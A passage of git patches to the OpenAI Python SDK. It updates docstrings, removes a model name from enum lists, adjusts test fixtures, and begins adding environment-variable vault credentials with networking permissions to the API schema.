- """Explicit configuration for creating and coordinating subagents."""
+ """Configuration for creating and coordinating subagents."""
reasoning: Optional[AgentReasoningParam]
- """Reasoning configuration for the agent."""
+ """Configuration for model reasoning.
+
+ Omit to keep the current settings; pass `null` to reset to the model's default
+ effort.
+ """
service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
"""The service tier used for model requests.
diff --git a/src/openai/types/beta/agents/session_update_params.py b/src/openai/types/beta/agents/session_update_params.py
index 170d73ba91..e75437d93b 100644
--- a/src/openai/types/beta/agents/session_update_params.py
+++ b/src/openai/types/beta/agents/session_update_params.py
@@ -24,7 +24,7 @@ class AgentReasoning(TypedDict, total=False):
"""Reasoning settings to update. Omit to keep the current effort."""
effort: Optional[Literal["none", "minimal", "low", "medium", "high", "xhigh", "max"]]
- """The amount of reasoning effort the model should use."""
+ """Omit to keep the current effort. Null selects the model's default effort."""
class Agent(TypedDict, total=False):
@@ -37,7 +37,7 @@ class Agent(TypedDict, total=False):
"""Reasoning settings to update. Omit to keep the current effort."""
service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]]
- """The service tier used for model requests.
+ """Omit to keep the current tier. Null resets it to auto.
- `auto` - Selects the service tier automatically.
- `default` - Uses the default service tier.
diff --git a/src/openai/types/beta/agents/sessions/turn.py b/src/openai/types/beta/agents/sessions/turn.py
index 1cfa3892ec..29e119e802 100644
--- a/src/openai/types/beta/agents/sessions/turn.py
+++ b/src/openai/types/beta/agents/sessions/turn.py
@@ -30,7 +30,7 @@ class Turn(BaseModel):
"""
error: Optional[SessionTurnError] = None
- """A customer-safe error describing why a session request failed."""
+ """A customer-safe error. Non-null only for a failed turn."""
object: Literal["agent.session.turn"]
"""The object type. Always `agent.session.turn`."""
@@ -56,7 +56,7 @@ class Turn(BaseModel):
"""The ID of the subagent that ran the turn, if applicable."""
usage: Optional[TokenUsage] = None
- """Recorded token usage for a session or turn.
+ """Best-effort token usage for the turn, or null if unknown.
- Usage is best effort and may change.
+ Recorded usage may change.
"""
diff --git a/src/openai/types/beta/agents/vaults/credential_auth.py b/src/openai/types/beta/agents/vaults/credential_auth.py
index 72f7d011b6..84ce5095da 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth.py
@@ -16,9 +16,7 @@
class VaultCredentialAuthResourceMcpOauthRefresh(BaseModel):
- """
- Configuration used to refresh an MCP OAuth access token, excluding secret values.
- """
+ """Public refresh metadata without refresh tokens or OAuth client secrets."""
client_id: str
"""The OAuth client ID used when requesting a new access token."""
@@ -53,10 +51,7 @@ class VaultCredentialAuthResourceMcpOauth(BaseModel):
"""The HTTPS MCP server URL authorized by this credential."""
refresh: Optional[VaultCredentialAuthResourceMcpOauthRefresh] = None
- """
- Configuration used to refresh an MCP OAuth access token, excluding secret
- values.
- """
+ """Public refresh metadata without refresh tokens or OAuth client secrets."""
type: Literal["mcp_oauth"]
"""The type of the object. Always `mcp_oauth`."""
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_create_param.py b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
index 4bc7f0b5e5..98f54f4ac1 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth_create_param.py
@@ -16,7 +16,7 @@
class CreateVaultCredentialAuthParamMcpOauthRefresh(TypedDict, total=False):
- """Configuration for refreshing the access token of an MCP OAuth credential."""
+ """Optional refresh configuration for an HTTPS OAuth token endpoint."""
client_id: Required[str]
"""The OAuth client ID used when requesting a new access token."""
@@ -62,7 +62,7 @@ class CreateVaultCredentialAuthParamMcpOauth(TypedDict, total=False):
"""When the OAuth access token expires, as an RFC 3339 timestamp, if known."""
refresh: Optional[CreateVaultCredentialAuthParamMcpOauthRefresh]
- """Configuration for refreshing the access token of an MCP OAuth credential."""
+ """Optional refresh configuration for an HTTPS OAuth token endpoint."""
class CreateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
diff --git a/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
index b927bf7333..171dd7d9a4 100644
--- a/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
+++ b/src/openai/types/beta/agents/vaults/credential_auth_rotate_param.py
@@ -16,7 +16,7 @@
class RotateVaultCredentialAuthParamMcpOauthRefresh(TypedDict, total=False):
- """Updates to an MCP credential's existing OAuth refresh configuration."""
+ """Optional write-only refresh-token and client-secret updates."""
refresh_token: Optional[str]
"""The replacement refresh token.
@@ -32,10 +32,7 @@ class RotateVaultCredentialAuthParamMcpOauthRefresh(TypedDict, total=False):
"""
token_endpoint_auth: Optional[McpOauthTokenEndpointAuthRotateParam]
- """
- Client-secret updates that preserve the credential's OAuth authentication
- method.
- """
+ """Client-secret updates for the existing token endpoint authentication method."""
class RotateVaultCredentialAuthParamMcpOauth(TypedDict, total=False):
@@ -55,7 +52,7 @@ class RotateVaultCredentialAuthParamMcpOauth(TypedDict, total=False):
"""
refresh: Optional[RotateVaultCredentialAuthParamMcpOauthRefresh]
- """Updates to an MCP credential's existing OAuth refresh configuration."""
+ """Optional write-only refresh-token and client-secret updates."""
class RotateVaultCredentialAuthParamStaticBearer(TypedDict, total=False):
diff --git a/src/openai/types/beta/beta_response.py b/src/openai/types/beta/beta_response.py
index f83d2b09b1..81dd0dbfb8 100644
--- a/src/openai/types/beta/beta_response.py
+++ b/src/openai/types/beta/beta_response.py
@@ -425,7 +425,6 @@ class BetaResponse(BaseModel):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
index e16005cadd..a1251f17f7 100644
--- a/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
+++ b/src/openai/types/beta/beta_response_output_text_annotation_added_event.py
@@ -104,7 +104,7 @@ class BetaResponseOutputTextAnnotationAddedEvent(BaseModel):
"""Emitted when an annotation is added to output text content."""
annotation: Optional[Annotation] = None
- """An annotation that applies to a span of output text."""
+ """The annotation object being added. (See annotation schema for details.)"""
annotation_index: int
"""The index of the annotation within the content part."""
diff --git a/src/openai/types/beta/beta_responses_client_event.py b/src/openai/types/beta/beta_responses_client_event.py
index 227da46135..512deea8a5 100644
--- a/src/openai/types/beta/beta_responses_client_event.py
+++ b/src/openai/types/beta/beta_responses_client_event.py
@@ -413,7 +413,6 @@ class ResponseCreate(BaseModel):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_responses_client_event_param.py b/src/openai/types/beta/beta_responses_client_event_param.py
index caeaaefdc0..fd1510ee37 100644
--- a/src/openai/types/beta/beta_responses_client_event_param.py
+++ b/src/openai/types/beta/beta_responses_client_event_param.py
@@ -413,7 +413,6 @@ class ResponseCreate(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/beta_tool.py b/src/openai/types/beta/beta_tool.py
index 60f52730cf..942b2b108f 100644
--- a/src/openai/types/beta/beta_tool.py
+++ b/src/openai/types/beta/beta_tool.py
@@ -279,11 +279,10 @@ class ImageGeneration(BaseModel):
"""
input_fidelity: Optional[Literal["high", "low"]] = None
- """
- Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ """Controls fidelity to the original input image(s).
+
+ This parameter is supported for GPT image models that support input fidelity.
+ `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
"""
input_image_mask: Optional[ImageGenerationInputImageMask] = None
diff --git a/src/openai/types/beta/beta_tool_param.py b/src/openai/types/beta/beta_tool_param.py
index bddb4bbb52..21558958e5 100644
--- a/src/openai/types/beta/beta_tool_param.py
+++ b/src/openai/types/beta/beta_tool_param.py
@@ -278,11 +278,10 @@ class ImageGeneration(TypedDict, total=False):
"""
input_fidelity: Optional[Literal["high", "low"]]
- """
- Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ """Controls fidelity to the original input image(s).
+
+ This parameter is supported for GPT image models that support input fidelity.
+ `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
"""
input_image_mask: ImageGenerationInputImageMask
diff --git a/src/openai/types/beta/environment_param.py b/src/openai/types/beta/environment_param.py
index 8d6c811cb6..6eb5f3bc82 100644
--- a/src/openai/types/beta/environment_param.py
+++ b/src/openai/types/beta/environment_param.py
@@ -29,13 +29,15 @@ class EnvironmentParamNone(TypedDict, total=False):
class EnvironmentParamOpenAIHostedNetwork(TypedDict, total=False):
- """Network access for an OpenAI-hosted environment."""
+ """Network access policy for the environment.
+
+ Defaults to disabled for GA requests and enabled for alpha/beta requests.
+ """
access: Required[Literal["enabled", "disabled", "restricted"]]
"""The environment's network access mode.
- - `enabled` - Allows unrestricted network access, matching an omitted network
- policy.
+ - `enabled` - Allows unrestricted network access.
- `disabled` - Disables network access.
- `restricted` - Allows access only to configured domains.
"""
@@ -45,7 +47,7 @@ class EnvironmentParamOpenAIHostedNetwork(TypedDict, total=False):
class EnvironmentParamOpenAIHostedPackages(TypedDict, total=False):
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages to install in the environment. Defaults to empty package lists."""
npm: Optional[SequenceNotStr[str]]
"""npm packages to install globally. Defaults to an empty list."""
@@ -83,10 +85,13 @@ class EnvironmentParamOpenAIHosted(TypedDict, total=False):
"""Files available before the agent starts. Defaults to an empty list."""
network: Optional[EnvironmentParamOpenAIHostedNetwork]
- """Network access for an OpenAI-hosted environment."""
+ """Network access policy for the environment.
+
+ Defaults to disabled for GA requests and enabled for alpha/beta requests.
+ """
packages: Optional[EnvironmentParamOpenAIHostedPackages]
- """Packages to install in an OpenAI-hosted environment."""
+ """Packages to install in the environment. Defaults to empty package lists."""
plugins: Optional[Iterable[HostedPluginParam]]
"""Plugins provided as inline ZIP archives. Defaults to an empty list."""
diff --git a/src/openai/types/beta/persisted_agent_tool.py b/src/openai/types/beta/persisted_agent_tool.py
index de2d47b2d6..69340fb10c 100644
--- a/src/openai/types/beta/persisted_agent_tool.py
+++ b/src/openai/types/beta/persisted_agent_tool.py
@@ -83,7 +83,7 @@ class PersistedAgentToolResourceMcp(BaseModel):
class PersistedAgentToolResourceWebSearchLocation(BaseModel):
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results, if provided."""
city: Optional[str] = None
"""The city name."""
@@ -108,7 +108,7 @@ class PersistedAgentToolResourceWebSearch(BaseModel):
"""The amount of search context made available to the model. Defaults to `medium`."""
location: Optional[PersistedAgentToolResourceWebSearchLocation] = None
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results, if provided."""
mode: Literal["disabled", "cached", "live"]
"""The source used for web search results."""
diff --git a/src/openai/types/beta/persisted_agent_tool_param.py b/src/openai/types/beta/persisted_agent_tool_param.py
index 80606347a0..a30719d102 100644
--- a/src/openai/types/beta/persisted_agent_tool_param.py
+++ b/src/openai/types/beta/persisted_agent_tool_param.py
@@ -74,7 +74,7 @@ class PersistedAgentToolConfigParamMcp(TypedDict, total=False):
"""The MCP tools the agent may call. All server tools are allowed when omitted."""
connection_origin: Optional[Literal["service", "environment"]]
- """Where outbound MCP HTTP connections originate.
+ """Selects where outbound MCP HTTP connections originate.
- `service` - Uses the Managed Agents service network.
- `environment` - Uses the session's execution environment.
@@ -97,7 +97,7 @@ class PersistedAgentToolConfigParamMcp(TypedDict, total=False):
class PersistedAgentToolConfigParamWebSearchLocation(TypedDict, total=False):
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results."""
city: Optional[str]
"""The city name."""
@@ -122,13 +122,13 @@ class PersistedAgentToolConfigParamWebSearch(TypedDict, total=False):
"""Domains the search may include."""
context_size: Optional[Literal["low", "medium", "high"]]
- """The amount of web search context made available to the model."""
+ """The amount of search context made available to the model. Defaults to `medium`."""
location: Optional[PersistedAgentToolConfigParamWebSearchLocation]
- """Approximate user location used to localize web search results."""
+ """Approximate location used to localize search results."""
mode: Optional[Literal["disabled", "cached", "live"]]
- """The source used for web search results.
+ """The source used for web search results. Defaults to `live`.
- `disabled` - Disables web search.
- `cached` - Uses cached search results.
diff --git a/src/openai/types/beta/response_compact_params.py b/src/openai/types/beta/response_compact_params.py
index 907605d682..d19dc81bf0 100644
--- a/src/openai/types/beta/response_compact_params.py
+++ b/src/openai/types/beta/response_compact_params.py
@@ -100,7 +100,6 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/beta/response_create_params.py b/src/openai/types/beta/response_create_params.py
index 9bf5d95b4c..2c37e78a5c 100644
--- a/src/openai/types/beta/response_create_params.py
+++ b/src/openai/types/beta/response_create_params.py
@@ -213,7 +213,6 @@ class ResponseCreateParamsBase(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/chat/completion_create_params.py b/src/openai/types/chat/completion_create_params.py
index 49170b76e2..dacf217b37 100644
--- a/src/openai/types/chat/completion_create_params.py
+++ b/src/openai/types/chat/completion_create_params.py
@@ -175,8 +175,11 @@ class CompletionCreateParamsBase(TypedDict, total=False):
prediction: Optional[ChatCompletionPredictionContentParam]
"""
- Static predicted output content, such as the content of a text file that is
- being regenerated.
+ Configuration for a
+ [Predicted Output](https://developers.openai.com/api/docs/guides/predicted-outputs),
+ which can greatly improve response times when large parts of the model response
+ are known ahead of time. This is most common when you are regenerating a file
+ with only minor changes to most of the content.
"""
presence_penalty: Optional[float]
diff --git a/src/openai/types/conversations/conversation_update_params.py b/src/openai/types/conversations/conversation_update_params.py
index f9de12614c..ae9415f5e1 100644
--- a/src/openai/types/conversations/conversation_update_params.py
+++ b/src/openai/types/conversations/conversation_update_params.py
@@ -15,8 +15,7 @@ class ConversationUpdateParams(TypedDict, total=False):
"""Set of 16 key-value pairs that can be attached to an object.
This can be useful for storing additional information about the object in a
- structured format, and querying for objects via API or the dashboard.
-
- Keys are strings with a maximum length of 64 characters. Values are strings with
- a maximum length of 512 characters.
+ structured format, and querying for objects via API or the dashboard. Keys are
+ strings with a maximum length of 64 characters. Values are strings with a
+ maximum length of 512 characters.
"""
diff --git a/src/openai/types/image_edit_params.py b/src/openai/types/image_edit_params.py
index ea8e318657..0cf8368312 100644
--- a/src/openai/types/image_edit_params.py
+++ b/src/openai/types/image_edit_params.py
@@ -48,11 +48,10 @@ class ImageEditParamsBase(TypedDict, total=False):
"""
input_fidelity: Optional[Literal["high", "low"]]
- """
- Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ """Controls fidelity to the original input image(s).
+
+ This parameter is supported for GPT image models that support input fidelity.
+ `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
"""
mask: FileTypes
diff --git a/src/openai/types/realtime/conversation_item_create_event.py b/src/openai/types/realtime/conversation_item_create_event.py
index 71e0422cbb..6d9b6295dd 100644
--- a/src/openai/types/realtime/conversation_item_create_event.py
+++ b/src/openai/types/realtime/conversation_item_create_event.py
@@ -16,8 +16,9 @@ class ConversationItemCreateEvent(BaseModel):
"history" of the conversation and to add new items mid-stream, but has the
current limitation that it cannot populate assistant audio messages.
- If successful, the server will respond with a `conversation.item.created`
- event, otherwise an `error` event will be sent.
+ If successful, the server will emit a `conversation.item.added` event and,
+ when the item is finalized, a `conversation.item.done` event. Otherwise, an
+ `error` event will be sent.
"""
item: ConversationItem
diff --git a/src/openai/types/realtime/conversation_item_create_event_param.py b/src/openai/types/realtime/conversation_item_create_event_param.py
index c146efebfc..955893b32a 100644
--- a/src/openai/types/realtime/conversation_item_create_event_param.py
+++ b/src/openai/types/realtime/conversation_item_create_event_param.py
@@ -16,8 +16,9 @@ class ConversationItemCreateEventParam(TypedDict, total=False):
"history" of the conversation and to add new items mid-stream, but has the
current limitation that it cannot populate assistant audio messages.
- If successful, the server will respond with a `conversation.item.created`
- event, otherwise an `error` event will be sent.
+ If successful, the server will emit a `conversation.item.added` event and,
+ when the item is finalized, a `conversation.item.done` event. Otherwise, an
+ `error` event will be sent.
"""
item: Required[ConversationItemParam]
diff --git a/src/openai/types/responses/response_compact_params.py b/src/openai/types/responses/response_compact_params.py
index 2d69bf8d16..355ad9055e 100644
--- a/src/openai/types/responses/response_compact_params.py
+++ b/src/openai/types/responses/response_compact_params.py
@@ -99,7 +99,6 @@ class ResponseCompactParams(TypedDict, total=False):
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
"o1-pro",
"o1-pro-2025-03-19",
"o3-pro",
diff --git a/src/openai/types/responses/response_output_text_annotation_added_event.py b/src/openai/types/responses/response_output_text_annotation_added_event.py
index 6a045ab96c..5bc66084ec 100644
--- a/src/openai/types/responses/response_output_text_annotation_added_event.py
+++ b/src/openai/types/responses/response_output_text_annotation_added_event.py
@@ -96,7 +96,7 @@ class ResponseOutputTextAnnotationAddedEvent(BaseModel):
"""Emitted when an annotation is added to output text content."""
annotation: Optional[Annotation] = None
- """An annotation that applies to a span of output text."""
+ """The annotation object being added. (See annotation schema for details.)"""
annotation_index: int
"""The index of the annotation within the content part."""
diff --git a/src/openai/types/responses/tool.py b/src/openai/types/responses/tool.py
index 48eb40bd27..214a761d98 100644
--- a/src/openai/types/responses/tool.py
+++ b/src/openai/types/responses/tool.py
@@ -284,11 +284,10 @@ class ImageGeneration(BaseModel):
"""
input_fidelity: Optional[Literal["high", "low"]] = None
- """
- Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ """Controls fidelity to the original input image(s).
+
+ This parameter is supported for GPT image models that support input fidelity.
+ `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
"""
input_image_mask: Optional[ImageGenerationInputImageMask] = None
diff --git a/src/openai/types/responses/tool_param.py b/src/openai/types/responses/tool_param.py
index de100c8f45..8bef6cb79a 100644
--- a/src/openai/types/responses/tool_param.py
+++ b/src/openai/types/responses/tool_param.py
@@ -284,11 +284,10 @@ class ImageGeneration(TypedDict, total=False):
"""
input_fidelity: Optional[Literal["high", "low"]]
- """
- Control how much effort the model will exert to match the style and features,
- especially facial features, of input images. This parameter is only supported
- for `gpt-image-1` and `gpt-image-1.5` and later models, unsupported for
- `gpt-image-1-mini`. Supports `high` and `low`. Defaults to `low`.
+ """Controls fidelity to the original input image(s).
+
+ This parameter is supported for GPT image models that support input fidelity.
+ `gpt-image-2` and `gpt-image-2-2026-04-21` ignore this parameter.
"""
input_image_mask: ImageGenerationInputImageMask
diff --git a/src/openai/types/shared/chat_model.py b/src/openai/types/shared/chat_model.py
index 59733598dd..77fd71a969 100644
--- a/src/openai/types/shared/chat_model.py
+++ b/src/openai/types/shared/chat_model.py
@@ -90,5 +90,4 @@
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
]
diff --git a/src/openai/types/shared_params/chat_model.py b/src/openai/types/shared_params/chat_model.py
index 11d6eea18e..c276a1d256 100644
--- a/src/openai/types/shared_params/chat_model.py
+++ b/src/openai/types/shared_params/chat_model.py
@@ -92,5 +92,4 @@
"gpt-3.5-turbo-1106",
"gpt-3.5-turbo-0125",
"gpt-3.5-turbo-16k-0613",
- "gpt-5.1-mini",
]
diff --git a/tests/api_resources/beta/test_responses.py b/tests/api_resources/beta/test_responses.py
index fce3860567..e0b6fa3839 100644
--- a/tests/api_resources/beta/test_responses.py
+++ b/tests/api_resources/beta/test_responses.py
@@ -31,7 +31,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -142,7 +142,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -502,7 +502,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -613,7 +613,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
diff --git a/tests/api_resources/test_responses.py b/tests/api_resources/test_responses.py
index c61c6540bd..832555f8e2 100644
--- a/tests/api_resources/test_responses.py
+++ b/tests/api_resources/test_responses.py
@@ -31,7 +31,7 @@ def test_method_create_with_all_params_overload_1(self, client: OpenAI) -> None:
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -137,7 +137,7 @@ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -473,7 +473,7 @@ async def test_method_create_with_all_params_overload_1(self, async_client: Asyn
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
@@ -579,7 +579,7 @@ async def test_method_create_with_all_params_overload_2(self, async_client: Asyn
background=True,
context_management=[
{
- "type": "type",
+ "type": "compaction",
"compact_threshold": 1000,
}
],
From eeebc535572dfe034e2c82958df4d0c22f94301e Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 05:12:46 +0000
Subject: [PATCH 175/341] feat(api): support environment variable vault
credentials (#3905)
## Summary
Create and rotate environment-variable vault credentials with explicit
networking permissions.
## Changes
- Add environment-variable authentication for vault credential creation
and rotation
- Expose credential networking permissions as separate request and
response models
- Read environment-variable credential metadata without exposing secret
values in response declarations
---
.castiron.stats.yml | 14 +-
api.md | 2 +
api_reference/openapi.transformed.yml | 199 +++++++++++++++-
.../beta/agents/vaults/credentials.py | 4 +-
src/openai/types/beta/agents/vault.py | 4 +-
.../types/beta/agents/vaults/__init__.py | 2 +
.../types/beta/agents/vaults/credential.py | 4 +-
.../beta/agents/vaults/credential_auth.py | 27 ++-
.../vaults/credential_auth_create_param.py | 37 ++-
.../vaults/credential_auth_rotate_param.py | 22 +-
.../agents/vaults/credential_create_params.py | 2 +-
.../agents/vaults/credential_networking.py | 46 ++++
.../vaults/credential_networking_param.py | 46 ++++
tests/test_environment_credentials.py | 221 ++++++++++++++++++
14 files changed, 604 insertions(+), 26 deletions(-)
create mode 100644 src/openai/types/beta/agents/vaults/credential_networking.py
create mode 100644 src/openai/types/beta/agents/vaults/credential_networking_param.py
create mode 100644 tests/test_environment_credentials.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index cd7e9cd11d..9b30c745c8 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 00fd992b-43e7-476c-999d-305e4ae74cd4
-openapi_spec_hash: 84134428f171b3b38963eb0c48d77892
-openapi_transformed_spec_hash: 88d2fb7ef538589f2a7ff8b474bd8d24
-config_hash: e5cd2ea20dc089f47efc81a424eea9bd
-codegen_sha: cf5c8ef14a54c51273bf7c5b9caa89f086c9f8de
-codegen_hash: f849b3f032724992e238a44df359ebe5d8d70daea89373a46f5efd6be121c40d
-public_codegen_sha: b5bd437ed16cb63514f12daacd4a60540258d79f
+generation_id: 999bfeb9-5230-48a0-bb37-7fda4c6a9d60
+openapi_spec_hash: 2602d95e0a5d8c97a2adcc0241ad18b4
+openapi_transformed_spec_hash: 0f43a58f72b945bc4cf2f9353ec770bd
+config_hash: ba291299a0f8e738664099a7d7741f24
+codegen_sha: c0ce7b2be18628adff038964ffd3c027db575eb0
+codegen_hash: 0c71388af2732fb819dc2b0c12c35600c1dbaf7c6133e7d8fe79f06ed2e8103e
+public_codegen_sha: 1d43deb7fa7cb4c3bb388ed97e0b7873bfc5e5a0
diff --git a/api.md b/api.md
index 369769390e..1e93d917a2 100644
--- a/api.md
+++ b/api.md
@@ -652,6 +652,8 @@ from openai.types.beta.agents.vaults import (
CredentialAuthCreateParam,
CredentialAuthRotateParam,
CredentialDeleted,
+ CredentialNetworking,
+ CredentialNetworkingParam,
McpOauthTokenEndpointAuth,
McpOauthTokenEndpointAuthCreateParam,
McpOauthTokenEndpointAuthRotateParam,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 4ac45b32ff..5954647a35 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -80015,7 +80015,7 @@ components:
- metadata
- created_at
additionalProperties: false
- description: A collection of credentials that agent tools can use to authenticate to MCP servers.
+ description: A collection of credentials for MCP servers and OpenAI-hosted environments.
VaultListResource:
type: object
properties:
@@ -80247,19 +80247,95 @@ components:
- mcp_server_url
additionalProperties: false
description: Metadata for a bearer-token credential, without automatic OAuth refresh.
+ VaultCredentialNetworkingResourceUnrestricted:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - unrestricted
+ default: unrestricted
+ x-stainless-const: true
+ description: The type of the object. Always `unrestricted`.
+ required:
+ - type
+ additionalProperties: false
+ description: Allows substitution for destinations permitted by the environment network policy. Requires `environment.network.access` to be `restricted`, with explicit `allowed_domains`.
+ VaultCredentialNetworkingResourceLimited:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - limited
+ default: limited
+ x-stainless-const: true
+ description: The type of the object. Always `limited`.
+ allowed_hosts:
+ type: array
+ items:
+ type: string
+ minLength: 0
+ minItems: 1
+ maxItems: 16
+ description: The 1 to 16 distinct allowed hostnames or IPv4 addresses, normalized to lowercase. Entries contain no scheme, path, port, or wildcard. IPv6 addresses are not supported.
+ required:
+ - type
+ - allowed_hosts
+ additionalProperties: false
+ description: Allows substitution only for the listed hosts. The environment network policy must also allow these hosts.
+ VaultCredentialNetworkingResource:
+ description: Destination permissions for an environment-variable credential. These do not grant network access to the environment.
+ discriminator:
+ propertyName: type
+ mapping:
+ unrestricted: '#/components/schemas/VaultCredentialNetworkingResourceUnrestricted'
+ limited: '#/components/schemas/VaultCredentialNetworkingResourceLimited'
+ x-oai-discriminator-values:
+ - unrestricted
+ - limited
+ anyOf:
+ - $ref: '#/components/schemas/VaultCredentialNetworkingResourceUnrestricted'
+ - $ref: '#/components/schemas/VaultCredentialNetworkingResourceLimited'
+ VaultCredentialAuthResourceEnvironmentVariable:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - environment_variable
+ default: environment_variable
+ x-stainless-const: true
+ description: The type of the object. Always `environment_variable`.
+ secret_name:
+ type: string
+ minLength: 0
+ description: The environment variable name that receives the placeholder in the sandbox.
+ networking:
+ $ref: '#/components/schemas/VaultCredentialNetworkingResource'
+ description: The destinations where the proxy can substitute the secret, subject to the environment network policy.
+ required:
+ - type
+ - secret_name
+ - networking
+ additionalProperties: false
+ description: Metadata for an HTTP credential used only in OpenAI-hosted environments. Sandbox code receives a placeholder. The proxy substitutes the secret for allowed HTTPS destinations on ports 443 and 8443. The real secret is not available to sandbox code for local computation and is never returned in this resource.
VaultCredentialAuthResource:
- description: The MCP server and authentication configuration of a vault credential, excluding secrets.
+ description: The authentication configuration of a vault credential, excluding secrets.
discriminator:
propertyName: type
mapping:
mcp_oauth: '#/components/schemas/VaultCredentialAuthResourceMcpOauth'
static_bearer: '#/components/schemas/VaultCredentialAuthResourceStaticBearer'
+ environment_variable: '#/components/schemas/VaultCredentialAuthResourceEnvironmentVariable'
x-oai-discriminator-values:
- mcp_oauth
- static_bearer
+ - environment_variable
anyOf:
- $ref: '#/components/schemas/VaultCredentialAuthResourceMcpOauth'
- $ref: '#/components/schemas/VaultCredentialAuthResourceStaticBearer'
+ - $ref: '#/components/schemas/VaultCredentialAuthResourceEnvironmentVariable'
VaultCredentialResource:
type: object
properties:
@@ -80284,7 +80360,7 @@ components:
description: The human-readable name of the credential.
auth:
$ref: '#/components/schemas/VaultCredentialAuthResource'
- description: The authentication method and non-secret configuration for the MCP server.
+ description: The authentication method and non-secret configuration of the credential.
created_at:
type: integer
format: int64
@@ -80302,7 +80378,7 @@ components:
- created_at
- updated_at
additionalProperties: false
- description: Metadata for a stored MCP server credential. Secret values are never returned.
+ description: Metadata for a stored credential. Secret values are never returned.
VaultCredentialListResource:
type: object
properties:
@@ -80519,19 +80595,103 @@ components:
- token
additionalProperties: false
description: A bearer token for an MCP server, without automatic OAuth refresh.
+ VaultCredentialNetworkingParamUnrestricted:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
